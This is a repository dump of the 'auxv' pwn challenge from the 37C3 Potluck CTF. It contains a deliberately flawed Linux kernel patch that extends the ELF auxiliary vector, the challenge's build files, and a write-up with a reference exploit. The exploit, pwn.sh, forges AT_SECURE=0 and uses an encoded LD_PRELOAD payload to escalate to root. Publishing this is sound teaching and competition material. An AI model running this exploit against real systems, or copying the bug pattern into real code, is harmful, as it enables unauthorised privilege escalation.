+#include 59 | #include 60 | #include 61 | 62 | @@ -192,6 +193,9 @@ create_elf_tables(struct linux_binprm *bprm, const struct elfhdr *exec, 63 | int ei_index; 64 | const struct cred *cred = current_cred(); 65 | struct vm_area_struct *vma; 66 | + struct fdtable *fdt; 67 | + unsigned i; 68 | + unsigned fd_count = 0; 69 | 70 | /* 71 | * In some cases (e.g. Hyper-Threading), we want to avoid L1 72 | @@ -240,11 +244,21 @@ create_elf_tables(struct linux_binprm *bprm, const struct elfhdr *exec, 73 | 74 | /* Create the ELF interpreter info */ 75 | elf_info = (elf_addr_t *)mm->saved_auxv; 76 | - /* update AT_VECTOR_SIZE_BASE if the number of NEW_AUX_ENT() changes */ 77 | + /* 78 | + * update AT_VECTOR_SIZE_BASE if the number of NEW_AUX_ENT() changes 79 | + * 80 | + * since the number of file descriptors is not known at compile time, 81 | + * add some sanity checks to make sure we don't overflow auxv 82 | + */ 83 | +#define SAFE_PUT_AUX_ENT(val) \ 84 | + do { \ 85 | + if ((char *)elf_info < (char *)mm->saved_auxv + sizeof(mm->saved_auxv)) \ 86 | + *elf_info++ = val; \ 87 | + } while (0) 88 | #define NEW_AUX_ENT(id, val) \ 89 | do { \ 90 | - *elf_info++ = id; \ 91 | - *elf_info++ = val; \ 92 | + SAFE_PUT_AUX_ENT(id); \ 93 | + SAFE_PUT_AUX_ENT(val); \ 94 | } while (0) 95 | 96 | #ifdef ARCH_DLINFO 97 | @@ -288,6 +302,13 @@ create_elf_tables(struct linux_binprm *bprm, const struct elfhdr *exec, 98 | if (bprm->have_execfd) { 99 | NEW_AUX_ENT(AT_EXECFD, bprm->execfd); 100 | } 101 | + rcu_read_lock(); 102 | + fdt = files_fdtable(current->files); 103 | + for (i = 0; i < fdt->max_fds; ++i) { 104 | + if (fd_is_open(i, fdt)) 105 | + NEW_AUX_ENT(AT_FIRST_OPEN_FD + fd_count++, i + 1); 106 | + } 107 | + rcu_read_unlock(); 108 | #undef NEW_AUX_ENT 109 | /* AT_NULL is zero; clear the rest too */ 110 | memset(elf_info, 0, (char *)mm->saved_auxv + 111 | diff --git a/include/linux/mm_types.h b/include/linux/mm_types.h 112 | index 247aedb18d5c..fe55890a890c 100644 113 | --- a/include/linux/mm_types.h 114 | +++ b/include/linux/mm_types.h 115 | @@ -24,7 +24,7 @@ 116 | #ifndef AT_VECTOR_SIZE_ARCH 117 | #define AT_VECTOR_SIZE_ARCH 0 118 | #endif 119 | -#define AT_VECTOR_SIZE (2*(AT_VECTOR_SIZE_ARCH + AT_VECTOR_SIZE_BASE + 1)) 120 | +#define AT_VECTOR_SIZE (2*(AT_VECTOR_SIZE_ARCH + AT_VECTOR_SIZE_BASE + 1)) + AT_MAX_FDS 121 | 122 | #define INIT_PASID 0 123 | 124 | diff --git a/include/uapi/linux/auxvec.h b/include/uapi/linux/auxvec.h 125 | index c7e502bf5a6f..8a11274abd7b 100644 126 | --- a/include/uapi/linux/auxvec.h 127 | +++ b/include/uapi/linux/auxvec.h 128 | @@ -37,4 +37,7 @@ 129 | #define AT_MINSIGSTKSZ 51 /* minimal stack size for signal delivery */ 130 | #endif 131 | 132 | +#define AT_FIRST_OPEN_FD 31337 133 | +#define AT_MAX_FDS 137 134 | + 135 | #endif /* _UAPI_LINUX_AUXVEC_H */ 136 | -- 137 | 2.43.0 138 | 139 | -------------------------------------------------------------------------------- /potluck-2023/auxv/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:22.04 AS app 2 | 3 | ARG DEBIAN_FRONTEND="noninteractive" 4 | RUN apt update 5 | RUN apt -y install qemu-system-x86 6 | 7 | WORKDIR /app/ 8 | 9 | ADD run.sh ./run 10 | ADD prebuilt_system ./prebuilt_system 11 | 12 | 13 | FROM pwn.red/jail 14 | COPY --from=app / /srv 15 | 16 | ENV JAIL_PORT=31337 JAIL_TIME=300 JAIL_CONNS=500 JAIL_CONNS_PER_IP=5 JAIL_PIDS=20 JAIL_MEM=300M JAIL_CPU=300 JAIL_POW=5000 17 | -------------------------------------------------------------------------------- /potluck-2023/auxv/Dockerfile.build_system: -------------------------------------------------------------------------------- 1 | # This Dockerfile builds a kernel and a very basic initramfs with Busybox. 2 | # Run as `docker build --output=custom_system --target=output -f Dockerfile.build_system .` 3 | # The outputs will be in the `custom_system` directory. 4 | FROM ubuntu:jammy-20231211.1 as build 5 | 6 | RUN apt update 7 | RUN apt -y install build-essential flex bison bc cpio curl libelf-dev 8 | 9 | # --- INITRAMFS --- 10 | # Download the latest stable version. 11 | WORKDIR / 12 | RUN curl -sS https://busybox.net/downloads/busybox-1.36.1.tar.bz2 | tar jxf - 13 | WORKDIR /busybox-1.36.1 14 | # Build in the default configuration. 15 | RUN make clean && make defconfig && make -j4 install 16 | # Follow the advice printed by `make install`: 17 | # -------------------------------------------------- 18 | # You will probably need to make your busybox binary 19 | # setuid root to ensure all configured applets will 20 | # work properly. 21 | # -------------------------------------------------- 22 | RUN chmod +s _install/bin/busybox 23 | # Copy the needed libraries from the host system. 24 | RUN for lib in $(ldd _install/bin/busybox | grep -o '/lib[^ ]*'); do cp --parents ${lib} _install/; done 25 | # Copy the init script that will be run on startup. 26 | COPY init _install 27 | RUN chmod +x _install/init 28 | # Copy a (fake) flag. 29 | COPY flag _install 30 | RUN chmod 400 _install/flag 31 | # Create the actual initramfs file. 32 | RUN cd _install && find . -print0 | cpio --create --format=newc --reproducible --null | gzip -c > /initramfs.cpio.gz 33 | 34 | # --- KERNEL --- 35 | WORKDIR / 36 | RUN curl -sS https://cdn.kernel.org/pub/linux/kernel/v6.x/linux-6.1.69.tar.xz | tar Jxf - 37 | WORKDIR /linux-6.1.69 38 | # Add a barebones config inspired by `make tinyconfig` and https://blog.jm233333.com/linux-kernel/build-and-run-a-tiny-linux-kernel-on-qemu 39 | COPY potluck.config kernel/configs/potluck.config 40 | # Finally, apply the kernel patch. 41 | COPY 0001-Store-the-open-file-descriptors-of-the-process-in-it.patch auxv.patch 42 | RUN patch -p1 < auxv.patch 43 | # Build the kernel; the result will be in `arch/x86/boot/bzImage`. 44 | RUN make allnoconfig && make potluck.config && make -j4 45 | 46 | # --- FINAL OUTPUT --- 47 | FROM scratch as output 48 | COPY --from=build /initramfs.cpio.gz / 49 | COPY --from=build /linux-6.1.69/arch/x86/boot/bzImage / -------------------------------------------------------------------------------- /potluck-2023/auxv/README.md: -------------------------------------------------------------------------------- 1 | `auxv` was my pwnable from the [37C3 Potluck CTF](https://ctftime.org/event/2199). 2 | 3 | * [The readme](README_players.md) given to the players during the event, if you want to try solving the challenge yourself. 4 | * [The reference exploit](exploit/) with a brief description of the intended solution, if you don't. 5 | -------------------------------------------------------------------------------- /potluck-2023/auxv/README_players.md: -------------------------------------------------------------------------------- 1 | ### Setup 2 | 3 | Finding and closing all currently open file descriptors on Linux is not easy. 4 | I mean, just look at [this library](https://github.com/cptpcrd/close_fds). 5 | So, I wrote a simple kernel patch that allows you to enumerate currently 6 | open file descriptors from userspace. 7 | 8 | I did my best to ensure this patch is memory-safe, so it should definitely 9 | *NOT* introduce any new security vulerabilities such as, say, local privilege 10 | escalation to root. 11 | 12 | To prove this, I'm giving you an unprivileged shell on a system with 13 | a secret file (`/flag`) that is only readable by root. If I did my job 14 | properly, you should *NOT* be able to access it. 15 | 16 | ### How to hack 17 | 18 | Install `qemu-system-x86_64` and launch `./run.sh` from the directory with this README. 19 | If your exploit works in this local setup, it should also work on the remote. 20 | 21 | You can also run `docker compose up` from the directory with this README to re-create the 22 | exact setup the remote server runs (the server will listen locally on port 31337). This is 23 | basically `run.sh` with TCP connection handling and some proof-of-work slapped on top. 24 | 25 | Pro tip: use `base64` to deliver binaries/exploits to the remote. 26 | E.g., on a local machine with Wayland: 27 | ``` 28 | $ musl-gcc -O2 -static -o pwn pwn.c && base64 pwn | wl-copy 29 | ``` 30 | 31 | On the remote: 32 | ``` 33 | $ base64 -d >/tmp/pwn < /initramfs.cpio.gz 18 | 19 | # --- FINAL OUTPUT --- 20 | FROM scratch as output 21 | COPY --from=build /initramfs.cpio.gz / 22 | -COPY --from=build /linux-6.1.69/arch/x86/boot/bzImage / 23 | \ No newline at end of file 24 | +COPY --from=build /bzImage / 25 | +COPY --from=build /vmlinux / 26 | +COPY --from=build /src.tar / 27 | \ No newline at end of file 28 | diff --git a/init b/init 29 | index 4a1700b..88ccca9 100644 30 | --- a/init 31 | +++ b/init 32 | @@ -15,7 +15,7 @@ mkdir -p /dev/shm /dev/pts 33 | mount -t tmpfs tmpfs /dev/shm 34 | mount -t tmpfs tmpfs /tmp 35 | mount -t devpts none /dev/pts 36 | -chmod 666 /dev/ptmx 37 | +chmod 666 /dev/ptmx /dev/urandom 38 | 39 | echo 'root:x:0:0:root:/root:/bin/sh' > /etc/passwd 40 | echo 'potluck:x:31337:31337:potluck:/tmp:/bin/sh' >> /etc/passwd 41 | diff --git a/potluck.config b/potluck.config 42 | index 17756aa..e3005be 100644 43 | --- a/potluck.config 44 | +++ b/potluck.config 45 | @@ -9,3 +9,6 @@ CONFIG_PROC_FS=y 46 | CONFIG_SYSFS=y 47 | CONFIG_TMPFS=y 48 | CONFIG_EARLY_PRINTK=y 49 | +CONFIG_DEBUG_KERNEL=y 50 | +CONFIG_DEBUG_INFO=y 51 | +CONFIG_DEBUG_INFO_DWARF_TOOLCHAIN_DEFAULT=y 52 | \ No newline at end of file 53 | diff --git a/run.sh b/run.sh 54 | index cbdbe11..36cbfaa 100755 55 | --- a/run.sh 56 | +++ b/run.sh 57 | @@ -3,11 +3,12 @@ 58 | set -e 59 | 60 | qemu-system-x86_64 \ 61 | - -initrd prebuilt_system/initramfs.cpio.gz \ 62 | - -kernel prebuilt_system/bzImage \ 63 | + -s -S \ 64 | + -initrd custom_system/initramfs.cpio.gz \ 65 | + -kernel custom_system/bzImage \ 66 | -append "root=/dev/ram console=ttyS0 oops=panic quiet" \ 67 | -nographic \ 68 | -monitor /dev/null \ 69 | -m 256 \ 70 | -smp 1 \ 71 | -no-reboot 72 | -------------------------------------------------------------------------------- /potluck-2023/auxv/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '2.4' 2 | 3 | services: 4 | potluck: 5 | build: . 6 | privileged: true 7 | ports: 8 | - "31337:31337" 9 | pids_limit: 1000 10 | restart: always 11 | stop_grace_period: 0s 12 | -------------------------------------------------------------------------------- /potluck-2023/auxv/exploit/README.md: -------------------------------------------------------------------------------- 1 | ## auxv 2 | 3 | * Category: `pwn` 4 | * Solves: `4` (`Dragon Sector`, `organizers`, `💦`, and `mhackeroni`) 5 | 6 | ### Executive summary 7 | 8 | * On the remote system: `$ cd tmp && cat >pwn.sh <<'END'`. 9 | * Copy the contents of `pwn.sh` from the local system to the remote system. 10 | * Type `END` on the remote and hit enter. 11 | * On the remote system: `$ chmod +x ./pwn.sh && ./pwn.sh` 12 | * The flag should be printed to stdout. With low probability, the exploit will fail; just run `pwn.sh` again. 13 | 14 | ### Details 15 | 16 | This challenge explores the lesser known aspect of kernel-user ELF interaction: [the auxiliary vector](https://man7.org/linux/man-pages/man3/getauxval.3.html). 17 | It is essentially an array consisting of pairs of keys and values (8 bytes each on x86_64), terminated by an entry with a zero key, and [placed on the stack](https://iq.thc.org/how-does-linux-start-a-process) of every userspace program. 18 | 19 | The provided kernel patch extends the auxiliary vector with a variable number of key/value pairs (corresponding to open file descriptors) using a custom macro with bounds checks to make sure we don't overflow the vector. However, it [misses a spot](https://elixir.bootlin.com/linux/v6.1.69/source/fs/binfmt_elf.c#L297) where the entry index is incremented unconditionally, leading to an off-by-two error. 20 | 21 | Trying to open a large number of files and then spawning a new program from the shell will show you that the bug results in weird userspace crashes: 22 | ``` 23 | $ for i in $(seq 5 200); do eval "exec $i<>/tmp/0"; done 24 | $ ls -l 25 | Inconsistency detected by ld.so: rtld.c: 1280: rtld_setup_main_map: Assertion `GL(dl_rtld_map).l_libname' failed! 26 | ``` 27 | 28 | Reading the code and/or messing around with gdb reveals that the two 8-byte values that are copied out-of-bounds come from the [counters](https://elixir.bootlin.com/linux/v6.1.69/source/include/linux/mm_types_task.h#L49) that track the numbers of memory pages of various types for the newly created process. One of them ([MM_FILEPAGES](https://elixir.bootlin.com/linux/v6.1.69/source/include/linux/mm_types_task.h#L32)) is always zero, but the other ([MM_ANONPAGES](https://elixir.bootlin.com/linux/v6.1.69/source/include/linux/mm_types_task.h#L33)) can be directly controlled from userspace by increasing the total size of arguments and environment variables that are passed to the process. 29 | 30 | This allows you to forge a auxiliary vector entry: 31 | * With an arbitrary key, provided that it is small enough to be a valid number of pages on the stack of a process. Thankfully, all interesting keys are small. 32 | * With a zero value, if a 8-byte zero padding is inserted after the end of the auxiliary vector by `STACK_ROUND()` [here](https://elixir.bootlin.com/linux/v6.1.69/source/fs/binfmt_elf.c#L303). 33 | * With a random value, if no padding is inserted, and the forged key is placed directly before the `AT_RANDOM` [contents](https://elixir.bootlin.com/linux/v6.1.69/source/fs/binfmt_elf.c#L238). 34 | 35 | The intended solution is to forge an `AT_SECURE=0` entry. For suid binaries (such as `busybox` used in the initramfs from the challenge), the kernel places `AT_SECURE=1` in the auxiliary vector, which is then used by glibc to disable possibly unsafe features such as the `LD_PRELOAD` variable. Our forged entry will override the one created by the kernel and allow us to execute arbitrary code as root via `LD_PRELOAD=/path/to/evil.so`. 36 | -------------------------------------------------------------------------------- /potluck-2023/auxv/exploit/build.py: -------------------------------------------------------------------------------- 1 | import struct 2 | import subprocess 3 | import os 4 | from pathlib import Path 5 | 6 | 7 | def p16(x): 8 | return struct.pack('/tmp/pwn.so 6 | H4sIAFxujWUAA6t39XFjYmRkgAFmBjsGEG8DgwKY7wAV90EoAYpZMDABSSagSpAwKwMyUEChLaH6 7 | YDSDAIRiAmIWIJaEiksyKqDQqKYwMMC07wBp9Nivn5aTmA5khXt0Pt8HEje8xM/q0fyDocbSs/PI 8 | DrCLO597dD7bBdIIkSpRqJHZAeLuBxEocoylTK9P8XPvsAHJMoBF2RhQAQ+UhgWMXkplXmJuZjKD 9 | XnFGcUlRSWISWJgN6jdUP2H3CzrgZACFPyaAhZ0wDn0wAAB9ypXjzAEAAA== 10 | EOF 11 | 12 | evil=$(yes | tr -d '\n' | head -c 80000) 13 | unset $(set | grep '^.*=' | grep -v evil | cut -f1 -d=) 14 | 15 | fd=3 16 | while [ $fd -le 1000 ] 17 | do 18 | eval "exec ${fd}<&0" 19 | fd=$(( fd + 1 )) 20 | done 21 | 22 | LD_PRELOAD=/tmp/pwn.so /usr/bin/printf 'No luck, please try running the exploit again\n' ${evil} 23 | -------------------------------------------------------------------------------- /potluck-2023/auxv/flag: -------------------------------------------------------------------------------- 1 | potluck{wh0ops_I_gu3ss_n0w_L1nus_1s_g01ng_t0_y31l_4t_m3} 2 | -------------------------------------------------------------------------------- /potluck-2023/auxv/init: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | set -e 3 | 4 | # The bare minimum to get the system working. Mostly 5 | # copied from the init script of the `hypersecure` 6 | # challenge from hxp CTF 2022 and the `flipper` challenge 7 | # from zer0pts CTF 2023 (thanks guys). 8 | 9 | mkdir -p /etc /proc /sys /tmp 10 | mount -t proc none /proc 11 | mount -t sysfs none /sys 12 | mdev -s 13 | 14 | mkdir -p /dev/shm /dev/pts 15 | mount -t tmpfs tmpfs /dev/shm 16 | mount -t tmpfs tmpfs /tmp 17 | mount -t devpts none /dev/pts 18 | chmod 666 /dev/ptmx 19 | 20 | echo 'root:x:0:0:root:/root:/bin/sh' > /etc/passwd 21 | echo 'potluck:x:31337:31337:potluck:/tmp:/bin/sh' >> /etc/passwd 22 | echo 'root:x:0:' > /etc/group 23 | echo 'potluck:x:31337:' >> /etc/group 24 | chmod 644 /etc/passwd 25 | chmod 644 /etc/group 26 | 27 | setsid /bin/cttyhack setuidgid 31337 /bin/sh 28 | 29 | umount /proc 30 | umount /sys 31 | poweroff -d 1 -n -f 32 | -------------------------------------------------------------------------------- /potluck-2023/auxv/potluck.config: -------------------------------------------------------------------------------- 1 | CONFIG_64BIT=y 2 | CONFIG_BLK_DEV_INITRD=y 3 | CONFIG_BINFMT_ELF=y 4 | CONFIG_BINFMT_SCRIPT=y 5 | CONFIG_BLK_DEV_RAM=y 6 | CONFIG_SERIAL_8250=y 7 | CONFIG_SERIAL_8250_CONSOLE=y 8 | CONFIG_PROC_FS=y 9 | CONFIG_SYSFS=y 10 | CONFIG_TMPFS=y 11 | CONFIG_EARLY_PRINTK=y 12 | -------------------------------------------------------------------------------- /potluck-2023/auxv/prebuilt_system/bzImage: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dfyz/ctf-writeups/c404744b602d7396137a50fa33a31ed433c84ced/potluck-2023/auxv/prebuilt_system/bzImage -------------------------------------------------------------------------------- /potluck-2023/auxv/prebuilt_system/initramfs.cpio.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dfyz/ctf-writeups/c404744b602d7396137a50fa33a31ed433c84ced/potluck-2023/auxv/prebuilt_system/initramfs.cpio.gz -------------------------------------------------------------------------------- /potluck-2023/auxv/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | set -e 4 | 5 | qemu-system-x86_64 \ 6 | -initrd prebuilt_system/initramfs.cpio.gz \ 7 | -kernel prebuilt_system/bzImage \ 8 | -append "root=/dev/ram console=ttyS0 oops=panic quiet" \ 9 | -nographic \ 10 | -monitor /dev/null \ 11 | -m 256 \ 12 | -smp 1 \ 13 | -no-reboot 14 | --------------------------------------------------------------------------------